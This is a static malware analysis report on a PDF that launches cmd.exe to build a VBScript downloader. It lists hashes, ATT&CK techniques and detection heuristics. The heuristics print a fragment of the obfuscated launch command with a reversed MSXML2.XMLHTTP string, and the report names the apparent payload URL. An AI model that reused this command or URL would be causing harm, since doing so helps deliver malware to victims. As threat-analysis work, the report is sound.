Malicious PDF — malware analysis report

Static analysis result for SHA-256 e64e4bcfc2737154…

MALICIOUS

PDF

783 B
MD5: 05cffdd2a44fafd670831e15072d4590 SHA-1: a306c69ae42b78badda91456d4fc845930c14e0d SHA-256: e64e4bcfc2737154f1c4101b6e130ece9da5aeb003b2ee1f5ee5699142b2bc0d
150 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The PDF file contains a launch action that executes cmd.exe. This command attempts to create a VBScript file named 'm.vbs' by concatenating strings, which is then likely executed. The embedded URL is suspected to be the source for the malicious script payload. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://07.blemw.in/x/img.php?d=1

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_00000067.bin
ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5
pdf-embedded-script PDF decompressed stream script payload at offset 0x67 63 bytes